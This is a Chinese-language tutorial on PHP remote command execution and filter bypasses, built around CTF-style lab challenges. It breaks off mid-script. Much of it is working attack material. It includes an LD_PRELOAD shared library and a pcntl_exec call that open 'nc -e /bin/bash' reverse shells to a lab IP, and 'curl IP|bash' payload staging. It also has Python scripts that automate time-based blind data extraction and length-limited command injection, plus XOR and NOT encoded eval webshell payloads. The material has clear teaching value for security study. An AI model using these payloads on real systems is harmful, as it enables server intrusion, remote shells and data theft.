RCE

命令执行漏洞

1.形成原因

​ 应用有些时候需要调用一些执行系统命令的函数,但是开发人员并没有对用户输入的参数进行严格的过滤(一切输入都是有害的),导致用户可以控制这些参数,并将恶意系统命令拼接到正常系统命令中,从而造成命令执行攻击,这就是命令执行漏洞(RCE)。

​ 只有在网站程序开发时提供了执行命令的接口,才有可能存在命令执行漏洞。

2.常见命令执行危险函数(PHP)

system

system(string $command, int &$result_code = null): string|false
/*
command:要执行的命令
result_code:如果提供result_code参数,则外部命令执行后的返回状态将会被设置到此变量中。
 */

exec

exec(string $command, array &$output = null, int &$result_code = null): string|false
/*
command:要执行的命令
output:用命令执行的输出填充此数组,每行输出填充数组的一个元素。
不加output参数,只会返回最后一行结果,且不会回显。
需要使用var_dump函数进行输出
*/
    

passthru

passthru(string $command, int &$result_code = null): ?false
/*
command:要执行的命令
输出二进制数据,并且需要直接传送到浏览器。

与system函数类似,结果直接返回到浏览器,并没有二进制
*/

shell_exec

shell_exec(string $cmd)
/*
cmd:需要执行的命令
借用echo、print等输出结果
*/

反引号

<?php
$cmd=$_GET['cmd'];
echo `$cmd`,PHP_EOL;
//在php中,PHP_EOL相当于兼容性非常强的换行符,这个变量会根据平台而变,在windows下会是/r/n,在linux下是/n,在mac下是/r,它是多平台适应的。
?>

popen

popen(string $command,string $mod)
//command:要执行的命令
//mode:模式。'r'表示阅读,'w'表示写入
//fgets获取内容->print_r输出内容
<?php
$cmd=$_GET['cmd'];
$ben=popen($cmd,'r');
while($s=fgets($ben)){
    print_r($s);
}
 ?>

proc_open

proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
/*
command:要执行的命令
descriptor:定义数组的内容
pipes:调用数组内容
*/

pcntl_exec

pcntl_exec(string $path,array $args=?,array $envs=?)

3.命令拼接符号

3.1Windows的系统命令拼接符

拼接符 示例 拼接符的详解
& A&B 无论A是false还是True,B都执行,即互不影响
&& A&&B 具有短路效果,A是false,B就不执行。
| A|B 表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行
|| A||B 表示A命令执行失败,然后才执行B命令语句

3.2linux的系统命令拼接符

拼接符 详解
& &的作用是使命令在后台运行。只要在命令后面跟上一个空格和&。
作用是可以进行多条命令的无关联执行,每一条执行结果互不影响
&& 跟Windows的用法和功能一样
|| 跟Windows的用法和功能一样
() 如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号把所有命令组合起来

4.绕过方法

4.1LD_PRELOAD绕过(函数禁用)

​ 代码在编译成程序的时候有一个过程叫做链接->将所引用的函数与变量链接到可执行程序中。

​ 静态链接:编译过程中所有的函数库链接完毕叫做静态链接。

​ 动态链接:编译过程中不进行链接操作,在程序运行时再动态的载入函数库

​ 不管静态还是动态,目的很明确载入函数库

​ LD_PRELOAD是与载入函数库相关的环境变量,它的作用便是在程序运行前优先加载指定的函数库。

条件

1)能够上传自己的.so文件;

2)能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;

3)存在可以 控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等。

演示

创建demo.php文件

vim demo.php
<?php
mail('','','');
?>

把demo.php执行的动作,以文本方式放在1.txt

strace -o 1.txt -f php demo.php

检查调用了哪些子进程

cat 1.txt | grep execve

image-20230918134712066

"/usr/sbin/sendmail"

查看sendmail调用了哪些库文件

readelf -Ws /usr/sbin/sendmail

image-20230918135625897

我们在它调用getuid的时候,给他劫持,换成我们的库文件。

vim demo.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
	system("echo '你的邮件还能发出去吗?'");
}
int getuid(){
	unsetenv("LD_PRELOAD");//结束调用
	payload();
}

将带有命令的c文件编译成.so文件,生成动态链接库文件

gcc -shared -fPIC demo.c -o demo.so

image-20230918140414119

vim demo.php
<?php 
putenv("LD_PRELOAD=./demo.so");//加载动态链接库demo.so
mail('','','')
?>
php demo.php

image-20230918140920565

实战

​ 题目源码如下:

image-20230919105038244

​ 看到有后门,拿出蚁剑进行连接测试:

image-20230919105726605

可以看到连接成功。

然后创建demo.php和demo.c

demo.php

<?php
    putenv("LD_PRELOAD=./demo.so");
mail('','','','');
    ?>

demo.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
    system("ls /var/www/html > /tmp/smity")
}
int geteuid(){
    if(getenv("LD_PRELOAD")==NULL){
    	return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

将带有命令的c文件编译成.so文件,生成动态链接库文件

gcc -shared -fPIC demo.c -o demo.so

将demo.php和demo.c 通过蚁剑传入网站目录

image-20230919170938915

访问demo.php

image-20230919171011296

找到/tmp目录,发现里面多出了一个flag

image-20230919171057527

image-20230919171118396

这种方法每次执行命令都需要进行上传文件,很麻烦,有没有什么简单的方法呢?

反弹shell

首先修改一下demo.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
    system("nc 192.168.200.129 -e /bin/bash");
}
int geteuid(){
    if(getenv("LD_PRELOAD")==NULL){
    	return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

将带有命令的c文件编译成.so文件,生成动态链接库文件

 gcc -shared -fPIC demo.c -o demo1.so  

demo.php

<?php
putenv("LD_PRELOAD=./demo1.so");
mail('','','','');
    ?>

打开kali,nc监听7777端口

将文件通过蚁剑上传到网站目录,然后访问demo.php,拿到shell

4.2蚁剑、pcntl绕过函数过滤

image-20230920082010214

没有插件可以在插件市场下载。

选择PHP_GC_UAF,点击开始,即可命令执行。

image-20230920082227853

image-20230920082448462

使用pcntl_exec函数绕过

pcntl_exec(string $path,array $args=?,array $envs=?)

参数path:必须是可执行二进制文件路径或一个在文件第一行指顶了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)

参数args:是一个要传递给程序的参数的字符串数组。

参数envs:是一个要传递给程序作为环境变量的字符串数组。

cmd=pcntl_exec("/bin/bash",array("-c","nc 192.168.200.129 -e /bin/bash"));

4.3空格过滤绕过

绕过方法

1)大括号{cat,flag.txt}

{cat,flag.txt} 

2)$IFS代替空格;$IFS、${IFS}、$IFS$9

​ Linux下有一个特殊的环境变量叫IFS,叫做内部字段分隔符。

​ 单纯$IFS被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。

​ $IFS$9 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始 终为空字符串。

ls$IFS-l
ls${IFS}-l
ls$IFS$9-l

3)重定向字符<,<>;

"<"表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。

cat<flag.php

">"可以创建文件

image-20230920093400786

4.4%09(Tab),%20(space);

cat%09bbbb.txt

4.4文件名过滤绕过

​ 1)通配符绕过

?和*
?仅代表单个字符串,但此单字符必须存在
*在linux里面可以进行模糊匹配。*可以代表任何字符串。

image-20230920122138836

​ 2)单引号双引号绕过

image-20230920122406651

​ 3) 反斜杠绕过

​ 跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令

image-20230920122524786

image-20230920122741618

​ 4)特殊变量:$1到$9、$@和$*等

​ 输出为空

image-20230920123003999

image-20230920123037229

​ 5)变量拼接

​ 自定义字符串,拼接起来。

image-20230920123203195

​ 6)内联执行

​ 内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果

image-20230920123524005

​ 7)利用linux中变量

​ 使用环境变量里的字符执行变量

image-20230920123809001

​ l在变量中是第五位(从零开始),所以取第五位取一个。

image-20230920123827625

​ 相当于cat flag.txt

image-20230920125550087

​ 8)[ ]中括号匹配绕过

例如[a-c]代表匹配a-b之间的字符,包括a,b字符本身匹配范围为当前目录

image-20230920150143053

就相当于:

/bin/cat flag.txt

4.5常见文件读取命令绕过

1)tac:反向显示

image-20230920171605003

2)more:一页一页的显示档案内容

3)less:与more类似

4)tail:查看末尾几行

5)nl:显示的时候,顺便输出行号

image-20230920171808586

6)od:以二进制的方式读取档案内容

image-20230920171902549

7)xxd:读取二进制文件

8)sort:主要用于排序文件

image-20230920172104429

9)uniq:报告或删除文件中的重复的行

image-20230920172122761

10)file -f:报错出具体内容

image-20230920172132738

11)grep:在文本中查找指定的字符串

image-20230920172219438

4.6编码绕过

image-20230920173554507

1)base64编码

cat flag.php -> Y2F0IGZsYWcudHh0

| 把前面指令的执行的结果,变成后面指令的参数

echo Y2F0IGZsYWcudHh0 | base64 -d

image-20230920174029764

再把解码后的参数给bash执行

echo Y2F0IGZsYWcudHh0 | base64 -d | bash
`echo Y2F0IGZsYWcudHh0 | base64 -d`
$(echo Y2F0IGZsYWcudHh0 | base64 -d)

image-20230920174121214

2)base32编码

3)HEX编码

​ ASCII码

tac flag.txt -> 74616320666c61672e747874
echo 74616320666c61672e747874 |xxd -r -d | bash
xxd:二进制显示和处理文件工具
-r -p将纯十六进制转存储的反向输出打印为了ascii格式。

4)shellcode编码

​ 16进制的机器码

tac flag.txt -> 74616320666c61672e747874
tac flag.txt -> \x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x74\x78\x74
echo "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x74\x78\x74" 
printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x74\x78\x74"

image-20230920180804252

printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x74\x78\x74" | bash
echo无法执行

4.7无回显盲注

​ 页面无法shell反弹或者无法回显,或者没有写入权限,可尝试无回显命令盲注。根据返回的时间来进行判断;

相关命令

1)sleep

2)awk NR

awk逐行获取数据
cat flag.txt | awk NR==1

image-20230921153436147

3)cut -c

cut命令逐列获取单个字符
cat flag.txt | awk NR==1 | cut -c 1

image-20230921153544835

4)if语句

判断命令是否执行
 if [ $(cat flag.txt|awk NR==1|cut -c 1) == h ];then echo "1";fi
 if [ $(cat flag.txt|awk NR==1|cut -c 1) == h ];then sleep 3;fi

image-20230921160009823

例题:

image-20230921161627828

脚本

import requests
import time
url = "http://192.168.200.129:18080/class08/1.php"
result = ""
for i in range(1,5):
    for j in range(1,55):
        #ascii码
        for k in range(32,128):
            k=chr(k)
            #time.sleep(0.1)
            payload = "?cmd=" + f"if [ `ls | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            #print(payload)
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

4.8长度绕过前置知识

相关命令:

>符号和>>符号
	1.通过>来创建文件
		echo "hello" >a
		通过>来将命令执行结果写入文件会覆盖掉文件原本的内容
	2.>>追加内容
命令换行符
	在没有写完的命令后面加“\”,可以将一条命令写在多行:
	c\
	a\
	t \
	a
	cat a
ls -t命令
	将文件名按照时间顺序排列出来(后创建的排在前面)
sh命令
dir及*和rev命令
	dir:基本上和ls一样,但有两个好处:
	一是开头字母是d,这使得他在alphabetical序中靠前
	二是按列输出,不换行
	
	输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
	
	rev命令:可以反转文件每一行内容
	
┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# rev a.txt
654321
0987
	
┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# dir >b

┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# cat b
ag.\\  b  cat\ \\  fl\\  flag.txt  t\\  x  xt

image-20230921203524123

组合运用

比如说我们要执行的命令为:cat flag.txt

按时间顺序反向依次创建文件
┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# >xt

┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# >t\\

┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# >ag.\\

┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# >fl\\

┌──(root㉿LAPTOP-LUEFK0OS)-[/mnt/e/从零开始的网安学习/笔记/RCE]
└─# >cat\ \\

image-20230921200735196

可以看到,通过排序,组成了cat flag.txt。

创建文件x,并把'ls -t'执行结果写入文件x里
ls -t>x

image-20230921201000459

使用sh命令执行x文件(sh可以用“ . ”代替)

image-20230921201154947

4.8.1长度为7的绕过方法解析

例题:

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    $a = str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!!";
}
flag in local path flag file!!

期望执行的命令

cat flag|nc 172.23.88.211 1314
创建文件
>1314
>11\ \\
>8.2\\
>3.8\\
>2.2\\
>17\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\

image-20230921205339572

将文件名按顺序写入到文件

?cmd=ls -t>a

image-20230921205616320

在docker中看一下a

image-20230921211936671

攻击机打开监听

image-20230921210016441

执行a

http://192.168.200.129:18080/class09/2/index.php?cmd=sh a

获得flag

image-20230921211630639

手动输入太过于麻烦,可以编写脚本:

import requests
import time

url1="http://192.168.200.129:18080/class09/2/index.php"

s=requests.session()

list=['>1314',
    '>11\%20\\',
    '>8.2\\',
    '>3.8\\',
    '>2.2\\',
    '>17\\',
    '>c\%20\\',
    '>\|n\\',
    '>flag\\',
    '>t\ \\',
    '>ca\\',
    'ls -t>a'
]

for i in list:
    time.sleep(1)
    url=url1+"?cmd="+str(i)
    print(url)
    s.get(url)

s.get(url1+"?cmd=sh a")

4.8.2长度为5的绕过方式解析

image-20230922085017437

例题代码:

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    $a = str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!";
}

对于长度为7的命令绕过希望执行的命令已经无法适用。

可以使用:

curl 172.23.88.211|bash

在服务器开启监听并且建立web服务,在index.html中写入需要执行的命令 例如 :

nc 172.23.88.211 1314 -e /bin/bash

步骤1

首先构造ls -t>a 由于长度的限制,无法执行ls -t>a

则先创建文件ls\

?cmd=>ls\\

并把ls\写入_文件中

?cmd=ls\>_

创建其他文件

?cmd=>\ \\
?cmd=>-t\\
?cmd=>\>y

用>>把所有文件追加到_文件中。

?cmd=ls>>_

查看_文件内容:

image-20230922082717379

若执行sh _ 则会执行ls -t>y

步骤2

分解命令,创造文件

期望命令
curl 172.23.88.211|bash
构造文件
>bash
>1|\\
>21\\
>8.\\
>8\\
>3.\\
>2\\
>2.\\
>17\\
>\ \\
>rl\\
>cu\\

步骤3

打开端口监听

nc -lvp 1314

创建index.html文件

vim index.html
nc 172.23.88.211 1314 -e /bin/bash

开启http.server监听 80端口

python -m http.server 80

先执行sh _,相当于执行ls -t>y

再执行sh y

脚本

import requests
import time

url1="http://192.168.200.129:18080/class09/3/index.php"

s=requests.session()

list1=['>ls\\','ls>_','>\ \\','>-t\\','>\>y','ls>>_']

for i in list1:
    time.sleep(1)
    url=url1+f"?cmd={str(i)}"
    print(url)
    s.get(url)
list2=['>bash',
    '>1|\\',
    '>21\\',
    '>8.\\',
    '>8\\',
    '>3.\\',
    '>2\\',
    '>2.\\',
    '>17\\',
    '>\ \\',
    '>rl\\',
    '>cu\\']
for i in list2:
    time.sleep(1)
    url=url1+f"?cmd={str(i)}"
    print(url)
    s.get(url)
s.get(url1+"?cmd=sh _")
s.get(url1+"?cmd=sh y")

4.8.3长度为4绕过方法解析

例题代码:

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    str_replace("/\?|/","=====",$argv);
    return $argv;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!";
}

步骤一:构造ls -t>g

dir:按列输出文件名,不换行
*:相当于$(dir*)
*如果第一个文件名是命令的话就会执行命令,返回执行结果,之后的文件名作为参数传入
rev:可以反转文件每一行内容
反过来创建文件
#>g\>
#>t-
#>sl
#>dir

image-20230922194449293

按照字母排序,可以看到d开头在前面,但是我们想要的是sl在后面而不是t-在最后面。

可以在-t后面加h,不影响命令的执行,但是可以改变顺序

反过来创建文件
#>g\>
#>ht-
#>sl
#>dir

image-20230922194950017

可以看到顺序符合我们预期

我们使用*号命令,把命令写入文件

*如果第一个文件名是命令的话就会执行命令,返回执行结果,之后的文件名作为参数传入

#*>v

image-20230922195430259

可以看到,dir被当成命令执行了,不换行把目录输入到了文件

使用rev v让其正序排列

image-20230922195627161

但是rev v是五个字符,我们的限制是四个字符,所以行不通

这时候我们要用到通配符*

创建文件rev
#>rev
执行rev
#*v>x
#cat x

image-20230922195941157

所以第一步的步骤为:

#>g\;    为了防止“g”后面有其他文件名造成影响可以多创建一个文件"g\;",用";"阻断后面字符的影响
#>g\>
#>ht-
#>sl
#>dir
*>v
>rev
*v>x

步骤二:构造一个反弹shell

curl 172.23.88.211|bash
ip转换为16进制
curl 0xAC1758D3|bash

然后正常写入即可

curl 0xAC1758D3|b
>ash
>b\
>\|\
>D3\
>58\
>17\
>AC\
>0x\
>\ \
>rl\
>cu\
然后执行
sh x
sh g

然后开启监听端口

创建index.html文件

开启http.server监听80端口

脚本:

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/4/ffff.php?cmd="
s = requests.session()

# 将ls -t 写入文件g
list=[
    ">g\;",
    ">g\>",
    ">ht-",
    ">sl",
    ">dir",
    "*>v",
    ">rev",
    "*v>x"
]

# curl 192.168.1.161|bash
list2= [
    ">ash",
    ">b\\",
    '>\|\\',
    '>A1\\',
    '>01\\',
    '>A8\\',
    '>C0\\',
    '>0x\\',
    '>\ \\',
    '>rl\\',
    '>cu\\'
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh x")
s.get(baseurl+"sh g")

4.9无参数命令执行请求头绕过

例题如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
?>
[^\W]+\((?R)?\)

正则表达式[^\W]匹配字母、数字、下划线[A-Za-z0-9]
[^\W]+\(?\)匹配到“a()”形式的字符串,但是()内不能出现任何参数
(?R)代表递归,即a(b(c()))都能匹配到

HTTP请求标头(php7.3)

getallheaders() 获取所有http请求标头

?code=print_r(getallheaders());

image-20230923101251264

抓包看一下

image-20230923101536941

可以看到,getallheaders()函数读取的头部信息顺序和请求包中的数据是相反的,也就是倒序排列

使用end()函数可以获取请求头的最后一行

image-20230923102056083

由于getallheaders()函数获取的是倒序排列,所以左边第一行实际为最后一行,所以end()函数获取到了。

pos()函数可以获取请求头的第一行

image-20230923102232703

我们修改请求头Connection:close 为Connection:system('ls');

如何执行呢?我们要把print_f()函数改为eval()函数即可

image-20230923102609642

继续执行cat flag.php

image-20230923102703159

也可以使用apache_request_headers()函数获取请求头

?code=apache_request_headers()

image-20230923103130181

4.10无参数全局变量RCE

利用全局变量进行RCE(php5/7)

题目跟上面相同。

get_defined_vars()函数,返回已定义变量的值所组成的数组

?code=print_r(get_defined_vars());

image-20230923105743543

返回数组顺序为GET->POST->COOKIE->FILES

加入pos只获取第一项GET变量的值

?code=print_r(pos(get_defined_vars()));

image-20230923110104791

使用&加入想要获取的指令

?code=print_r(pos(get_defined_vars()));&cmd=system('ls');

image-20230923110321802

然后使用end()函数获取我们构造的命令

?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls');

image-20230923110802130

把print_r换成eval、assert即可执行system('ls');

?code=eval(end(pos(get_defined_vars())));&cmd=system('ls');

image-20230923110925343

查看flag

?code=eval(end(pos(get_defined_vars())));&cmd=system('cat flag');

image-20230923111200559

4.11无参数session RCE(php 5)

session_start() 启动新会话或者重用现有会话,成功开始会话返回true,反之返回false

返回PHPSESSID

?code=print_r(session_id(session_start()));

image-20230923131806335

可以用Burp Suite来修改PHPSESSID

print_r修改为show_source()

用Burp Suite修改PHPSESSID的值为./

用show_source读取flag文件源代码

image-20230923132236301

修改外部函数为eval()

修改PHPSESSIONID的值为‘phpinfo();’

无法直接执行,需要把命令转换为十六进制,写入PHPSESSIONID

再用hex2bin()函数将十六进制转换为二进制数,用eval执行

image-20230923132747308

使用system('cat flag');读取flag

image-20230923132939134

4.12无参数命令执行scandir读取

scandir()类似ls,在某文件路径下,把内容以列表形式显示出来。

<?php
print_r(scandir('.'));
?>

image-20230923162451091

getcwd() 取得当前工作目录

<?php
print_r(getcwd());
?

image-20230923162700665

current() 返回数组中的第一个值

<?php
$a=[1,2,3];
print_r(current($a));
?>

image-20230923163116808

next() 将数组中的内部指针向前移动

<?php
$a=[1,2,3];
print_r(next($a));
?>

image-20230923163315327

array_reverse() 返回单元顺序相反的数组

<?php
$a=[1,2,3];
print_r(array_reverse($a));
?>

image-20230923163839257

array_flip() 交换数组中的键和值

<?php
$a=[1,2,3];
print_r(array_flip($a));
?>

image-20230923163932422

array_rand(arry,number) 从数组中随机取出一个或多个随机键。number可选

<?php
$a=[1,2,3,4,5,6,7];
print_r(array_rand($a,3));
?>

image-20230923164436750

chdir() 系统调用函数(同cd),用于改变当前工作目录

<?php
print_r(getcwd());
echo "\n";
chdir('/etc');
print_r(getcwd());
?>

image-20230923164815909

strrev() 用于反转给定的字符串

<?php
$s="abcdefg";
print_r(strrev($s));
?>

image-20230923164923421

crypt() 用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

hebrevc() 把希伯来文本从右至左的流转换为左至右的流。

方法一:使用localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

?code=print_r(localeconv());

image-20230923171159443

scandir()里面加点可以获得当前目录中的文件,但是题目是要求不能有参数,我们可以使用current()函数来获取点。

?code=print_r(current(localeconv()));

image-20230923171337592

然后使用scandir()来获取当前目录下内容。

<?php
print_r(scandir(current(localeconv())));
?>

image-20230923171456354

使用array_reverse() 返回单元顺序相反的数组

?code=print_r(array_reverse(scandir(current(localeconv()))));

image-20230923171757302

可以看到flag位于第一个,使用current()函数获取flag

?code=print_r(current(array_reverse(scandir(current(localeconv())))));

image-20230923172035065

把print_r()函数换成show_source()函数读取文件

?code=show_source(current(array_reverse(scandir(current(localeconv())))));

image-20230923172244398

方法二:使用getcwd()函数

?code=print_r(getcwd());

image-20230923172714710

可以直接获取绝对路径。

用scandir()函数获取目录文件

?code=print_r(scandir(getcwd()));

image-20230923172818062

直接用end()函数获取flag文件

?code=print_r(end(scandir(getcwd())));

image-20230923172857999

使用show_source()函数读取flag

?code=show_source(end(scandir(getcwd())));

image-20230923172951280

dirname()函数,显示上一级目录

?code=print_r(dirname(getcwd()));

image-20230923174356765

然后使用scandir()函数就可以获取上级目录的文件

?code=print_r(scandir(dirname(getcwd())));

image-20230923174548492

?code=print_r(end(scandir(dirname(getcwd()))));

image-20230923175157588

但是如果我们用show_source()函数读取文件,并不会读出来,因为show_source()函数还是在当前目录。必须往上反一级目录才行。

使用chdir()函数(同cd)

?code=print_r(chdir(dirname(getcwd())));

image-20230923175802311

1表示切换成功。

chdir()函数,它的返回值是1,这时候,如果直接使用scandir()函数会变为scandir(1),这样获取不到东西,所以使用dirname()函数,dirname(1)返回的是一个.,这时候再用scandir()就可以显示当前切换后的目录

?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

image-20230924094647585

使用end()函数获取info.php 再使用show_source()函数进行读取

?code=show_source(end(scandir(dirname(chdir(dirname(getcwd()))))));

image-20230924094847329

如果我们想要的文件不是在第一个也不是在最后一个,可以使用array_flip()函数使键和值反转,然后再用array_rand()函数随机输出键的值,这样就可以输出我们想要的文件内容。

?code=print_r(array_flip(scandir(dirname(chdir(dirname(getcwd()))))));

image-20230924095924083

?code=print_r(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

image-20230924100025313

image-20230924100035844

再把print_r函数换为show_source()函数,多试几次就可以把我们想要的文件输出出来。

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

根目录

根目录就是要获取/

?code=print_r(array());
?code=print_r(serialize(array()));//反序列化

cypt()函数,单向字符串散列加密,结果随机

?code=print_r(crypt(serialize(array())));

image-20230924102620511

strrev()函数,倒序

?code=print_r(strrev(crypt(serialize(array()))));

多试几次就可以

image-20230924102748797

ord()函数,返回ASCII码,只能返回第一个字符的ASCII码,利用这个特性,就可以单独取出第一个字符,再用chr()函数进行还原成字符串。

斜线ASCII码为47

?code=print_r(ord(strrev(crypt(serialize(array())))));

image-20230924103430980

再使用chr()函数:

?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));

image-20230924103518403

这样就获得到了根目录的符号了,再使用scandir()查看查看根目录文件:

?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

image-20230924104826350

使用array_flip()函数进行键和值进行转换,再使用array_rand()函数进行文件输出。

?code=print_r(array_rand(array_flip(scandir(dirname(chardir(chr(ord(strrev(crypt(serialize(array())))))))));

使用burp进行爆破.

4.13无字母数字异或运算绕过

异或运算

如果a,b两个值不相同,则异或结果为1。如果a,b两个值相同,异或结果为0。

<?php
echo "5"^"Z";
?>

输出为小写"o"

5的ASCII码为53,转换为二进制为00110101

Z的ASCII码为90,转换为二进制为01011010

进行异或运算,相同为0不同为1,结果为01101111

转换为十进制为111,对应ASCII码表为小写o

使用符号进行异或运算,获取想要得到的值。

<?php
function o(){
    echo "yuanshen start";
}
$_="5"^"Z";
$_();//相当于o()
?>

image-20230925105832719

到这里会有一个新问题,怎么样构造我需要的指令呢,也就是说什么和什么异或能构造出我们想要的指令,这时候我们可以用脚本生成:

poc

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET["cmd"];
$result1 = "";
$result2 = "";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
    for($x=33;$x<=126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2;
?>

比如我想构造一个phpinfo

?cmd=phpinfo

image-20230925110500185

测试一下

<?php
$_="+(+).&/"^"[@[@@@@";
$_();
?>

image-20230925110613591

例题如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
    eval($_GET['cmd']);
}
?>

用上面的方法测试一下能不能执行phpinfo(),把phpinfo赋值给$_,然后加上括号。

?cmd=$_="+(+).&/"^"[@[@@@@";$_();

但这样并不能执行成功,因为在提交的时候,浏览器会把加号识别成空格,所以最好用编码一下。

?cmd=%24_%3D%22%2B(%2B).%26%2F%22%5E%22%5B%40%5B%40%40%40%40%22%3B%24_()%3B

image-20230925111335649

PHP5

//期望执行的命令:
assert($_POST['_']);

//进行拆分
<?php
$a='assert';
$b='_POST';
$c=$$b;//$c=$_POST
$a($c['_']);//assert($_POST['_'])
?>

把a、b、c分别替换为_、 _ _、 _ _ _

assert使用异或生成 "!((%)("^"@[[@["

_POST也使用异或生成 "!+/(("^"~{`{|"

<?php
$_="!((%)("^"@[[@[\\";//转义一下斜杠
$__="!+/(("^"~{`{|";
$___=$$__;
$_($___['_']);
?>
?cmd=$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);

使用post提交_的变量值

image-20230925121952187

image-20230925122002705

PHP7

期望执行命令:`$_POST[_]`
<?php
$_='_POST';
$__=$$_;
`$__[_]`;
    ?>

同理,_POST替换为 "!+/(("^"~{`{|"

?cmd=$_="!+/(("^"~{`{|";$__=$$_;`$__[_]`;

POST提交_=touch a

image-20230925123301508

image-20230925123414782

反弹shell

开启监听

image-20230925123741377

输入指令

_=nc 192.168.200.129 1314 -e /bin/bash

image-20230925123702043

成功反弹

image-20230925123821275

image-20230925123844643

4.14无字母数字取反绕过

取反运算

~()         0b0110 取反 0b1001
<?php
$a="a";
echo bin2hex($a);
?>

输出结果为61(十六进制),对应ASCII表的字符为小写a。转换成二进制 0110 0001

取反为1001 1110,再转换成十六进制,变成9E(ASCII码十六进制最大为7F,跳出了这个范围)

<?php
$a="%9E";
$b=~(urldecode($a));
echo $b;
?>

输出为a。

如果我们想构造assert,就首先要获取反后的结果。

脚本

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
$shell = $_GET['cmd'];
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
